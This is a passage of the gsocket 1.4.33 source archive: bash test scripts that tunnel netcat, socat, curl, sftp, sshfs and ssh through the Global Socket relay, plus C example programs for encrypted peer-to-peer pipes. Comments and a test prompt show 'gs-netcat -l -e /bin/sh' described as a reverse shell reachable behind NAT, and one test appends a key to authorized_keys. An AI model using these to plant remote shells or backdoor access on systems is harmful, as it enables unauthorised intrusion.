GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | socat - "SOCKS4:127.0.0.1:127.0.0.1:12345,socksport=1085" >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '9.3' ]]; then
# SOCKS test socat -> port 1085 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #9.3 (socat/socks4a)......................"
socat -h 2>/dev/null | grep socks4 &>/dev/null
if [ $? -ne 0 ]; then
skip "(no socat)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | socat - "SOCKS4a:127.0.0.1:127.0.0.1:12345,socksport=1085" >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '9.4' ]]; then
# SOCKS test with cUrl
test_start -n "Running: netcat #9.4 (curl/socks5, multi)................."
curl --help all 2>/dev/null | grep socks5-hostname &>/dev/null
if [ $? -ne 0 ]; then
skip "(no curl)"
elif [[ "$(uname -a)" == *"GNU hurd"* ]]; then
# on GNU hurd curl & https to localhost sometimes thows a 'bad record mac' error.
# The cause is unknown. Works fine when gs-netcat runs on GNU hurd but curl
# from another host is used.
skip "(bad curl)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
touch testmp3.dat testmp3-2.dat
GSPID4="$(sh -c 'curl --socks5-hostname 127.0.0.1:1085 --output testmp3.dat https://raw.githubusercontent.com/hackerschoice/thc-art/master/deep-phreakin.mp3 >client1_out.dat 2>client1_err.txt & echo ${!}')"
GSPID5="$(sh -c 'curl --socks5-hostname 127.0.0.1:1085 --output testmp3-2.dat https://raw.githubusercontent.com/hackerschoice/thc-art/master/deep-phreakin.mp3 >client2_out.dat 2>client2_err.txt & echo ${!}')"
# waitk $GSPID4 $GSPID5
waitkpf $GSPID4 testmp3.dat
waitkpf $GSPID5 testmp3-2.dat
kill -9 $GSPID1 $GSPID3 &>/dev/null
if [ "$(MD5 testmp3.dat)" != "171a9952951484d020ce1bef52b9eef5" ]; then fail 1; fi
if [ "$(MD5 testmp3-2.dat)" != "171a9952951484d020ce1bef52b9eef5" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ "${tests}" =~ '10.1' ]]; then
test_start -n "Running: blitz #10.1 ....................................."
rm -rf test_server test_client
mkdir -p test_server test_client/foo/bar test_client/empty
if ! mkfifo test_client/fifo.io &>/dev/null; then
skip "(mkfifo)" # likely on a VMBOX shared drive
else
cp test4k.dat test_client/foo/bar/test4k.dat
cp test1k.dat test_client/foo/bar/test1k.dat
cp test1k.dat test_client/test1k.dat
ln -s foo/bar/test4k.dat test_client/test4k.dat
ln -s /etc/hosts test_client/etc-hosts
ln -s /dev/zero test_client/zero
GSPID1="$(sh -c 'blitz -k id_sec.txt -w -o "RSOPT=--bwlimit=100 -v" test_client/./ 2>client1_err.txt >client1_out.dat & echo ${!}')"
cd test_server
GSPID2="$(sh -c 'blitz -k ../id_sec.txt -l 2>../server1_err.txt >../server1_out.dat & echo ${!}')"
cd ..
waitk $GSPID1
kill $GSPID2
(cd test_client; find . -type f | while read x; do md5fail 1 ../test_server/${x} ${x}; done)
md5fail 2 test_server/test4k.dat test4k.dat
[[ -e test_server/fifo.io ]] && fail 3
[[ -e test_server/zero ]] && fail 4
[[ -e test_server/etc-hosts ]] && fail 5
[[ -L test_server/test4k.dat ]] || fail 6
[[ -d test_server/empty ]] || fail 7
rm -rf test_server test_client
$ECHO "${OK}"
fi
fi
if [[ "${tests}" =~ '10.2' ]]; then
test_start -n "Running: blitz #10.2 (stdin).............................."
rm -rf test_client
mkdir -p test_client
GSPID1="$(sh -c '(echo test1k.dat; echo test4k.dat) | blitz -k id_sec.txt -w -o "RSOPT=--bwlimit=100 -v" -f - 2>client1_err.txt >client1_out.dat & echo ${!}')"
cd test_client
GSPID2="$(sh -c 'blitz -k ../id_sec.txt -l 2>../server1_err.txt >../server1_out.dat & echo ${!}')"
cd ..
waitk $GSPID1
kill $GSPID2
md5fail 1 test1k.dat test_client/test1k.dat
md5fail 2 test4k.dat test_client/test4k.dat
rm -rf test_client
$ECHO "${OK}"
fi
if [[ "${tests}" =~ '10.3' ]]; then
test_start -n "Running: gs-sftp #10.3 ..................................."
rm -rf test_client
mkdir -p test_client
GSPID1="$(bash -c '(echo -en "lcd test_client\nget test4k.dat\nlcd ..\ncd test_client\nput test1k.dat\nls\nquit\n") | gs-sftp -k id_sec.txt -w 2>client1_err.txt >client1_out.dat & echo ${!}')"
GSPID2="$(sh -c 'gs-sftp -k id_sec.txt -l 2>server1_err.txt >server1_out.dat & echo ${!}')"
waitk $GSPID1
kill $GSPID2
md5fail 1 test1k.dat test_client/test1k.dat
md5fail 2 test4k.dat test_client/test4k.dat
# rm -rf test_client
$ECHO "${OK}"
fi
if [[ "${tests}" =~ '10.4' ]]; then
test_start -n "Running: gs-mount #10.4 .................................."
command -v sshfs >/dev/null 2>&1
if [ $? -ne 0 ]; then
skip "(no sshfs)"
elif [[ "$OSTYPE" == *"darwin"* ]]; then
# osxfuse and macosfuse are both broken now
# macosfuse hangs the host. force-unmount not working. Not recoverable. reboot needed.
skip "OSX fuse-broken"
else
rm -rf test_client &>/dev/null
rmdir test_mnt &>/dev/null
mkdir -p test_client test_mnt &>/dev/null
cp test1k.dat test4k.dat test_client
GSPID1="$(sh -c 'gs-mount -k id_sec.txt -w test_mnt 2>client1_err.txt >client1_out.dat & echo ${!}')"
GSPID2="$(sh -c 'cd test_client; gs-mount -k ../id_sec.txt -l 2>../server1_err.txt >../server1_out.dat & echo ${!}')"
waitk $GSPID1
if grep forbidden client1_err.txt &>/dev/null; then
skip "(forbidden)" # VMBox drive?
else
md5fail 1 test_mnt/test1k.dat test_client/test1k.dat $GSPID2
md5fail 2 test_mnt/test4k.dat test_client/test4k.dat $GSPID2
if command -v fusermount >/dev/null 2>&1; then
fusermount -zu test_mnt
else
# archLinux -f flag needs superuser (bug in umount)
umount test_mnt &>/dev/null
umount -f test_mnt &>/dev/null
fi
$ECHO "${OK}"
fi
kill $GSPID2
rm -rf test_client
rmdir test_mnt
fi
fi
if [[ "${tests}" =~ '10.5' ]]; then
test_start -n "Running: gsocket nc #10.5 (stdin)........................."
# Can not use nc here because nc does not terminate on EOF from stdin.
# Socat can be configured to terminate 1 second after EOF has been received.
# need sleep 3 on RPI (slow system)
GSPID1="$(sh -c '(cat test4k.dat; sleep 3) | gsocket -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 3) | GSOCKET_ARGS=-w gsocket -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
md5fail 2 test4k.dat client_out.dat
$ECHO "${OK}"
fi
if [[ "${tests}" =~ '10.6' ]]; then
test_start -n "Running: gsocket socat #10.6 (stdin)......................"
if ! socat -h 2>/dev/null | grep socks4 &>/dev/null; then
skip "(no socat)"
elif [[ "$OSTYPE" =~ solaris ]]; then
# On Solaris the socat binary is 32 bit (but our gs_so lib is 64).
# Loader wont work.
skip "(32-bit)"
else
# Can not use nc here because nc does not terminate on EOF from stdin.
# Socat can be configured to terminate 1 second after EOF has been received.
GSPID1="$(sh -c 'gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP-LISTEN:31337 server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP:gsocket:31337 client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
md5fail 2 test4k.dat client_out.dat
$ECHO "${OK}"
fi
fi
if [[ "${tests}" =~ '10.7' ]]; then
test_start -n "Running: gsocket ssh #10.7 (stdin)........................"
if [[ "$OSTYPE" == *"solaris"* ]]; then
# Solaris SSHD does not work unless it's run as root (some PAM shit)
# Also needs -4 flag to run as IPv4 only (still, PAM shit afterwards)
skip "(needs root)"
else
[[ -f ssh_host_rsa_key ]] || ssh-keygen -q -N "" -t rsa -b 2048 -f ssh_host_rsa_key
[[ -d ~/.ssh ]] || mkdir ~/.ssh
[[ -f id_rsa ]] || ssh-keygen -q -N "" -t rsa -b 2048 -f id_rsa
[[ -f ~/.ssh/authorized_keys ]] && cp -a ~/.ssh/authorized_keys ~/.ssh/authorized_keys-backup
cat id_rsa.pub >>~/.ssh/authorized_keys
SSHD_BIN=$(which sshd 2>/dev/null)
[[ -z $SSHD_BIN ]] && SSHD_BIN="/usr/sbin/sshd"
[[ -z $SSHD_BIN ]] && SSHD_BIN="/usr/lib/ssh/sshd"
export SSHD_BIN
[[ -f "$SSHD_BIN" ]] || { echo >&2 "sshd not found"; exit 255; }
GSPID1="$(sh -c 'gsocket -k id_sec.txt $SSHD_BIN -f /dev/null -o HostKey=${PWD}/ssh_host_rsa_key -p 31338 -D 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w gsocket -k id_sec.txt ssh -i id_rsa -o StrictHostKeyChecking=no -p 31338 ${LOGNAME}@gsocket echo Hello World 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
[[ -f ~/.ssh/authorized_keys-backup ]] && cp -a ~/.ssh/authorized_keys-backup ~/.ssh/authorized_keys
# rm ~/.ssh/authorized_keys-backup
if [ "${MDHELLOW}" != "$(MD5 client_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
fi
if [ x"$1" == x ]; then
### Clean-up
test_start ""
fi
exit 0
gsocket-1.4.33/tests/run_ping_gsrn.sh 0000775 0000000 0000000 00000001540 14072625040 0017614 0 ustar 00root root 0000000 0000000 #! /bin/bash
date_bin="date"
command -v gdate >/dev/null && date_bin="gdate"
unset GSOCKET_IP
MIN()
{
echo $(($1>$2 ? $2 : $1))
}
gsrn_ping()
{
SECRET=$(gs-netcat -g)
export GSOCKET_HOST=$1
export SECRET
VARBACK=$(mktemp)
GSPID="$(sh -c 'gs-netcat -s "$SECRET" -l -e cat &>/dev/null & echo ${!}')"
M=31337000000
(sleep 1; for x in $(seq 1 3); do $date_bin +%s%N; sleep 0.5; done) | gs-netcat -s "$SECRET" -w -q| while read -r x; do
! [[ $x =~ ^16 ]] && continue
D=$(($($date_bin +%s%N) - x))
# printf "%s %.3fms\n" "$1" "$(echo "$D"/1000000 | bc -l)"
M=$(MIN $M $D)
echo "$M" >"$VARBACK"
done
D=$(cat "$VARBACK")
rm -f "$VARBACK"
printf "MIN %s %.3fms\n" "$1" "$(echo "$D"/1000000 | bc -l)"
kill "$GSPID"
}
# gsrn_ping gs1.thc.org; exit
# gsrn_ping gs5.thc.org; exit
for n in $(seq 1 5); do
gsrn_ping "gs${n}.thc.org"
done
gsocket-1.4.33/tests/test_tcp_badconn.sh 0000775 0000000 0000000 00000005572 14072625040 0020264 0 ustar 00root root 0000000 0000000 #! /bin/bash
# Test script against test-gsrn to test flaky TCP connections and SSL:
# The script creates gs-netcat traffic and then at random intervals kills
# the connection. The TCP stream to test-gsrn server is also configured to
# introduce packet loss.
# cut & paste friendly to set up packet loss on test-gsrn:
: <<'__END_COMMENT__'
DEV=wlan0
tc qdisc add dev ${DEV} root netem loss 1%
tc qdisc change dev ${DEV} root netem corrupt 2%
tc qdisc change dev ${DEV} root netem duplicate 1%
#tc qdisc change dev ${DEV} root netem delay 50ms reorder 25%
tc qdisc change dev ${DEV} root netem delay 500ms reorder 25%
__END_COMMENT__
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CC="\033[1;36m" # cyan
CM="\033[1;35m" # magenta
CN="\033[0m" # none
[[ "$GSOCKET_IP" = *192\.168* ]] || { echo >&2 "No testing GSRN set: export GSOCKET_IP=\"192.168.x.x\"."; exit 255; }
[[ -z $GSOCKET_ARGS ]] && {
SECRET=$(../tools/gs-netcat -g)
export GSOCKET_ARGS="-s $SECRET"
echo "Start the GS listening process with:"
echo " GSOCKET_ARGS=\"-s $SECRET\" gs-netcat -l -e bash"
echo "Press Return to continue..."
read
}
# Wait until a process has termianted or kill it after SLEEP_WD seconds..
# waitkp []
waitkp()
{
local x
local sleep_wd
sleep_wd=$2
[[ -z $sleep_wd ]] && sleep_wd=10 # default is 10 seconds.
x=0;
rounds=`bc <<<"$sleep_wd / 0.1"`
while :; do
kill -0 $1 &>/dev/null
if [ $? -ne 0 ]; then
# Break if process is not running.
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo -e "${CR}Killing hanging process $1....${CN}"
kill -9 $1 &>/dev/null
}
run_timelimit()
{
local sec_wait
sec_wait=$1
shift;
sh -c "$*" >/dev/null &
# sh -c "$*" &
echo Started pid ${!}
waitkp ${!} $sec_wait
}
# run_timelimit 2 "sleep 5"
# echo foobar
# exit
i=0
while :; do
i=$((i+1))
echo -e "${CY}-----$(date)-----${CN}"
echo -e "${CG}Iteration #${i}.1${CN}"
run_timelimit 10 '{ sleep 4; echo "dd bs=1k count=8 if=/dev/urandom | openssl base64; exit"; sleep 2;} | ../tools/gs-netcat'
echo -e "${CG}Iteration #${i}.2${CN}"
# Getting an odd 'line 38: 12345 Killed: 9 sh -c "$*" output here
# is normal because we kill the 'sh -c' process (e.g. kills itself).
# This will also send sigpipe to '| ../tools/gs-netcat'.
run_timelimit 10 '{ echo "dd bs=1k count=8 if=/dev/urandom | openssl base64"; sleep 5; killall -9 gs-netcat;} | ../tools/gs-netcat'
# run_timelimit 10 '{ echo "dd bs=1k count=8 if=/dev/urandom | openssl base64"; sleep 5; kill -9 $$;} | ../tools/gs-netcat'
echo -e "${CG}Iteration #${i}.3${CN}"
run_timelimit 10 '{ echo "(dd bs=1k count=111256 if=/dev/urandom | openssl base64 ) & sleep 1.1; exit"; sleep 8; killall -9 gs-netcat;} | ../tools/gs-netcat'
done
gsocket-1.4.33/tools/ 0000775 0000000 0000000 00000000000 14072625040 0014401 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/tools/1_gs-helloworld.c 0000664 0000000 0000000 00000005402 14072625040 0017550 0 ustar 00root root 0000000 0000000 /*
* EXAMPLE: Blocking & Cleartext ECHO SERVER (via Global Socket).
*
* Server:
* $ ./gs-helloworld -l
*
* Client:
* $ ./gs-helloworld
*
* Features:
* CLEARTEXT TCP
* Libgsocket connects two peers through the GS-Network with each other.
* Libgsocket then makes the (connected) Unix File Descriptor
* (TCP socket) available to the application.
*
* This examples uses cleartext TCP and read()/write() calls to
* exchange data from one peer to the other peer via the GS-Network.
*/
#include "common.h"
#include "utils.h"
/*
* Read from 'in' and write to 'out'.
*/
static void
relay(int in, int out, const char *str)
{
char buf[1024];
char info[64];
ssize_t rlen, wlen;
rlen = read(in, buf, sizeof buf);
if (rlen < 0)
ERREXIT("closed...(fd = %d, ret = %zd)\n", in, rlen);
if (rlen == 0)
exit(0); /* EOF */
/* Output information of what we received */
if (str != NULL)
{
snprintf(info, sizeof info, "%zd bytes ", rlen);
wlen = write(STDOUT_FILENO, info, strlen(info));
wlen = write(STDOUT_FILENO, str, strlen(str));
XASSERT(wlen > 0, "write(): %s\n", strerror(errno));
}
wlen = write(out, buf, rlen);
if (wlen <= 0)
ERREXIT("closed...(fd = %d)\n", out);
}
/*
* An Echo-Server: Send back whatever is received...
*/
static void
do_server(void)
{
GS *gs;
GS_listen(gopt.gsocket, 1);
gs = GS_accept(gopt.gsocket, NULL);
if (gs == NULL)
ERREXIT("%s\n", GS_strerror(gopt.gsocket));
/* Accepted 1 connection.
* The listening socket is no longer needed and we can close it.
*/
GS_close(gopt.gsocket);
int fd = GS_get_fd(gs);
while (1)
{
relay(fd, fd, "From Client\n");
}
GS_close(gs);
}
static void
do_client(void)
{
int ret;
ret = GS_connect(gopt.gsocket);
if (ret != 0)
ERREXIT("%s\n", GS_strerror(gopt.gsocket));
int fd = GS_get_fd(gopt.gsocket);
while (1)
{
/* Read from STDIN and write to gsocket */
relay(0, fd, NULL);
/* Read reply from gsocket and write to STDOUT */
relay(fd, 1, "From Server: ");
}
GS_close(gopt.gsocket);
}
static void
my_getopt(int argc, char *argv[])
{
int c;
do_getopt(argc, argv); /* from utils.c */
optind = 1;
while ((c = getopt(argc, argv, UTILS_GETOPT_STR)) != -1)
{
switch (c)
{
default:
break;
case '?':
usage("sklgT");
exit(EX_UNKNWNCMD);
}
}
gopt.is_no_encryption = 1; // Do not use end-2-end encryption
gopt.is_blocking = 1; // Use blocking sockets
init_vars(); /* from utils.c */
gopt.gsocket = gs_create();
GS_LOG("=Encryption: %s (Prime: %d bits)\n", GS_get_cipher(gopt.gsocket), GS_get_cipher_strength(gopt.gsocket));
}
int
main(int argc, char *argv[])
{
init_defaults(&argc, &argv);
my_getopt(argc, argv);
if (gopt.flags & GSC_FL_IS_SERVER)
do_server();
else
do_client();
exit(EX_NOTREACHED);
return -1; /* NOT REACHED */
}
gsocket-1.4.33/tools/2_gs-pipe.c 0000664 0000000 0000000 00000006564 14072625040 0016345 0 ustar 00root root 0000000 0000000 /*
* EXAMPLE: Blocking & Encrypted GS Connection.
*
* Read from STDIN on client side and write to STDOUT on server
* side (via Global Socket).
*
* Use encryption.
*
* Server:
* $ ./gs-pipe -l
*
* Client:
* $ ./gs-pipe [-w]
*
* Features:
* SSL
* This example uses SSL. Libgsocket completes the SSL handshake
* to the peer (end-to-end encryption). Thereafter this example grabs
* the SSL object and directly uses SSL_read()/SSL_write() calls to
* exchange data between the two peers.
* GS_OPT_SOCK_WAIT
* The normal behaviour for a client is to disconnect when the
* peer is not listening. This flag makes the client wait until
* a peer becomes available. It then connects immediately when
* the server becomes available.
*
* Effectively it means that the client can be started
* before the server: The client waits until the server becomes
* available.
*
* The -w command line parameters turns on this feature.
*/
#include "common.h"
#include "utils.h"
static char buf[1024];
SSL *ssl;
/*
* Read from SSL and write to STDOUT
*/
static void
do_ssl_server(SSL *ssl)
{
int len;
ssize_t wlen;
while (1)
{
len = SSL_read(ssl, buf, sizeof buf);
if (len <= 0)
break;
wlen = write(STDOUT_FILENO, buf, len);
XASSERT(wlen == len, "ERROR write(%d) == %zd: %s\n", len, wlen, strerror(errno));
}
}
/*
* Read from STDIN and write to SSL
*/
static void
do_ssl_client(SSL *ssl)
{
int len;
while (1)
{
len = read(STDIN_FILENO, buf, sizeof buf);
if (len <= 0)
break;
if (SSL_write(ssl, buf, len) <= 0)
break;
}
}
/*
* Application started with -l command line option. This is a
* (listening) server waiting for client connections.
*/
static void
do_server(void)
{
GS *gs;
GS_listen(gopt.gsocket, 1);
gs = GS_accept(gopt.gsocket, NULL);
if (gs == NULL)
{
ERREXIT("%s\n", GS_strerror(gopt.gsocket));
}
/* Accepted 1 GS connection.
* The listening GS socket is no longer needed.
*/
GS_close(gopt.gsocket);
/* In this example we operate directly on the SSL socket */
ssl = gs->ssl;
do_ssl_server(ssl);
}
/*
*/
static void
do_client(void)
{
int ret;
fprintf(stderr, "Reading from standard input....");
ret = GS_connect(gopt.gsocket);
if (ret != 0)
ERREXIT("%s\n", GS_strerror(gopt.gsocket));
ssl = gopt.gsocket->ssl;
/* -A flags can make a Client to act as a Server if no server is
* listening. This is used for run_all_tests.sh and for the sake
* of studying this exampe you can ignore the call to do_ssl_server().
*/
if (GS_is_server(gopt.gsocket))
do_ssl_server(ssl);
else
do_ssl_client(ssl);
}
static void
my_getopt(int argc, char *argv[])
{
int c;
do_getopt(argc, argv); /* from utils.c */
optind = 1;
while ((c = getopt(argc, argv, UTILS_GETOPT_STR)) != -1)
{
switch (c)
{
default:
break;
case '?':
usage("sklgqwACT");
exit(EX_UNKNWNCMD);
}
}
gopt.is_blocking = 1;
init_vars(); /* from utils.c */
gopt.gsocket = gs_create();
GS_LOG("=Encryption: %s (Prime: %d bits)\n", GS_get_cipher(gopt.gsocket), GS_get_cipher_strength(gopt.gsocket));
}
int
main(int argc, char *argv[])
{
init_defaults(&argc, &argv);
my_getopt(argc, argv);
if (gopt.flags & GSC_FL_IS_SERVER)
do_server();
else
do_client();
/* Send all data stuck in SSL output buffer */
int ret;
ret = SSL_shutdown(ssl);
if (ret == 0)
SSL_read(ssl, buf, sizeof buf);
exit(EX_NOTREACHED);
return -1; /* NOT REACHED */
} gsocket-1.4.33/tools/3_gs-full-pipe.c 0000664 0000000 0000000 00000014004 14072625040 0017272 0 ustar 00root root 0000000 0000000 /*
* EXAMPLE: Bi-directional encrypted GS-Connection
*
* Client:
* - Read from STDIN and send to server.
* - Read from Server and write to STDOUT
* Server: dito
*
* Server:
* $ ./gs-full-pipe -A
*
* Client:
* $ ./gs-full-pipe -A
*
* FEATURES:
* GS_OPT_CLIENT_OR_SERVER
* Client to become server if no server is available.
* GS_SELECT
* Framework to deal with OpenSSL's insane non-blocking
* behaviour and switching encryption off (-C).
*/
#include "common.h"
#include "utils.h"
static ssize_t stdin_len;
static char stdin_buf[1024];//2*16*1024];
static int write_gs(GS_SELECT_CTX *ctx, GS *gs);
static int
shutdown_net(GS *gs)
{
int ret;
ret = GS_shutdown(gs);
DEBUGF_G("GS_shutdown() = %d\n", ret);
if (ret == 0)
return GS_SUCCESS;
if (ret == -1) /* Waiting */
return GS_ECALLAGAIN;
return -2;
}
/******* STDIN I/O ********************/
static int
cb_read_stdin(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
GS *gs = (GS *)arg;
int ret;
XASSERT(stdin_len <= 0, "Already data in input buffer (%zd)\n", stdin_len);
stdin_len = read(0, stdin_buf, sizeof stdin_buf);
// DEBUGF_M("Read %zd\n", stdin_len);
if (stdin_len <= 0)
{
DEBUGF_R("STDIN EOF (%zd)\n", stdin_len);
FD_CLR(0, ctx->rfd); // Stop reading from STDIN
ret = shutdown_net(gs);
DEBUGF("shutdown_net() == %d\n", ret);
if (ret == GS_ECALLAGAIN)
return GS_ECALLAGAIN;
if (ret == -2)
ERREXIT("All Done\n");
return GS_SUCCESS;
}
if ((gopt.is_interactive) && !(gopt.flags & GSC_FL_IS_SERVER))
stty_check_esc(gs, stdin_buf[0]);
write_gs(ctx, gs);
return GS_SUCCESS;
}
/******* NETWORK I/O ******************/
/*
* Write data to Server
*/
static int
write_gs(GS_SELECT_CTX *ctx, GS *gs)
{
int ret;
ret = GS_write(gs, stdin_buf, stdin_len);
DEBUGF_G("GS_write(fd = %d, len = %zd) = %d\n", gs->fd, stdin_len, ret);
if (ret == 0)
{
FD_CLR(0, ctx->rfd); // Stop reading from STDIN
return GS_ECALLAGAIN;
}
if (ret == stdin_len)
{
stdin_len = 0;
FD_SET(0, ctx->rfd); // Start reading from STDIN
return GS_SUCCESS;
}
if (ret > 0)
ERREXIT("Partial write(%zd) == %d. Should not happen (%s)\n", stdin_len, ret, strerror(errno));
ERREXIT("Fatal write error. FIXME: reconnect?(%s)\n", strerror(errno));
return GS_ERROR; /* NOT REACHED */
}
static void
do_exit(GS_SELECT_CTX *ctx, GS *gs)
{
GS_SELECT_del_cb(ctx, STDIN_FILENO); // Stop reading from STDIN
GS_close(gs);
stty_reset();
exit(0);
}
/*
* CallBack when Network is ready for reading.
*/
static int
cb_read_gs(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
GS *gs = (GS *)arg;
// DEBUGF_G("cb_read_gs(fd = %d)\n", fd);
ssize_t len;
ssize_t wlen;
char buf[1024];
len = GS_read(gs, buf, sizeof buf);
// DEBUGF_Y("GS_read() = %zd\n", len);
if (len == 0)
return GS_ECALLAGAIN;
if (len == GS_ERR_EOF)
{
shutdown(STDOUT_FILENO, SHUT_WR);
if (gopt.is_receive_only)
do_exit(ctx, gs);
return GS_SUCCESS;
}
if (len < 0) /* any ERROR (but EOF) */
{
GS_shutdown(gs);
/* Finish peer on FATAL (2nd EOF) or if half-duplex (never send data) */
do_exit(ctx, gs);
return GS_SUCCESS; /* NOT REACHED */
}
wlen = write(STDOUT_FILENO, buf, len);
XASSERT(wlen == len, "ERROR write(%zd) == %zd: %s\n", len, wlen, strerror(errno));
return GS_SUCCESS;
}
/*
* CallBack when Network is ready for writing.
*/
static int
cb_write_gs(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
return write_gs(ctx, (GS *)arg);
}
/*
* A hack to set the remote window size without inband
* communication. Only used with -i.
*/
static void
stty_set_remote_size(GS_SELECT_CTX *ctx, GS *gs)
{
snprintf(stdin_buf, sizeof stdin_buf, GS_STTY_INIT_HACK, gopt.winsize.ws_row, gopt.winsize.ws_col);
stdin_len = strlen(stdin_buf);
write_gs(ctx, gs);
}
static int
cb_connect_client(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
GS *gs = (GS *)arg;
int ret;
DEBUGF("called\n");
ret = GS_connect(gs);
if (ret == GS_ERR_FATAL)
ERREXIT("%s\n", GS_strerror(gs));
//Fatal GS_connect() error\n");
if (ret == GS_ERR_WAITING)
return GS_ECALLAGAIN;
/* HERE: Connection successfully established */
/* Define which function to call if ECALLGAGAIN happens */
/* Start reading from Network (SRP is handled by GS_read()/GS_write()) */
GS_SELECT_add_cb(ctx, cb_read_gs, cb_write_gs, fd, gs, 0);
/* Start reading from STDIN */
GS_SELECT_add_cb_r(ctx, cb_read_stdin, STDIN_FILENO, gs, 0);
FD_SET(0, ctx->rfd); /* Start reading from STDIN */
/* -i specified and we are a client: Set TTY to raw for a real shell
* experience. Ignore this for this example.
*/
if ((gopt.is_interactive) && (!GS_is_server(gs)))
{
stty_set_raw();
stty_set_remote_size(ctx, gs);
}
return GS_SUCCESS;
}
static void
do_client_or_server(void)
{
GS_SELECT_CTX ctx;
GS *gs = gopt.gsocket;
GS_SELECT_CTX_init(&ctx, &gopt.rfd, &gopt.wfd, &gopt.r, &gopt.w, &gopt.tv_now, GS_SEC_TO_USEC(1));
/* Tell GS_ subsystem to use GS-SELECT */
GS_CTX_use_gselect(&gopt.gs_ctx, &ctx);
/* Will return GS_ERR_WAITING */
GS_connect(gs);
DEBUGF("fd = %d\n", GS_get_fd(gs));
/* Call when socket becomes read- or writeable [connection established] */
GS_SELECT_add_cb_r(&ctx, cb_connect_client, GS_get_fd(gs), gs, 0);
GS_SELECT_add_cb_w(&ctx, cb_connect_client, GS_get_fd(gs), gs, 0);
int n;
while (1)
{
n = GS_select(&ctx);
GS_heartbeat(gopt.gsocket);
if (n < 0)
break;
}
ERREXIT("NOT REACHED\n");
GS_close(gs);
}
static void
my_getopt(int argc, char *argv[])
{
int c;
do_getopt(argc, argv); /* from utils.c */
optind = 1;
while ((c = getopt(argc, argv, UTILS_GETOPT_STR)) != -1)
{
switch (c)
{
default:
break;
case 'l': /* -l not allowed for full pipe */
case '?':
usage("skrgqwACTi");
exit(EX_UNKNWNCMD);
}
}
init_vars(); /* from utils.c */
gopt.gsocket = gs_create();
GS_LOG("=Encryption : %s (Prime: %d bits)\n", GS_get_cipher(gopt.gsocket), GS_get_cipher_strength(gopt.gsocket));
}
int
main(int argc, char *argv[])
{
init_defaults(&argc, &argv);
my_getopt(argc, argv);
do_client_or_server();
exit(EX_NOTREACHED);
return -1; /* NOT REACHED */
} gsocket-1.4.33/tools/4_gs-netcat.c 0000664 0000000 0000000 00000125131 14072625040 0016660 0 ustar 00root root 0000000 0000000 /*
* EXAMPLE: 'Netcat' tool to forward TCP traffic via Global Sockets
*
*
* Exampel 1: Simple TCP forwarding
**********************************
* Server (behind NAT):
* $ ./gs-netcat -l 192.168.6.7 22
*
* Client (behind NAT):
* $ ./gs-netcat -p 2222
*
* Any TCP connection to port 2222 on the Client is forwarded to
* 192.168.6.7 on port 22 (via Global Socket). This allows
* a User (Server) to tunnel somebody into the internal network
* when both parties are behind NAT and without a server on the
* internet.
*
* Example 1: Simple Bash Shell
* ****************************
* Server:
* $ ./gs-netcat -l -e /bin/sh
* Client:
* $ ./gs-netcat
*
* Effectivly this is a 'reverse shell': The client can connect
* to a shell on the server from any location and when both systems
* (Server and Client) are behind NAT.
*
*
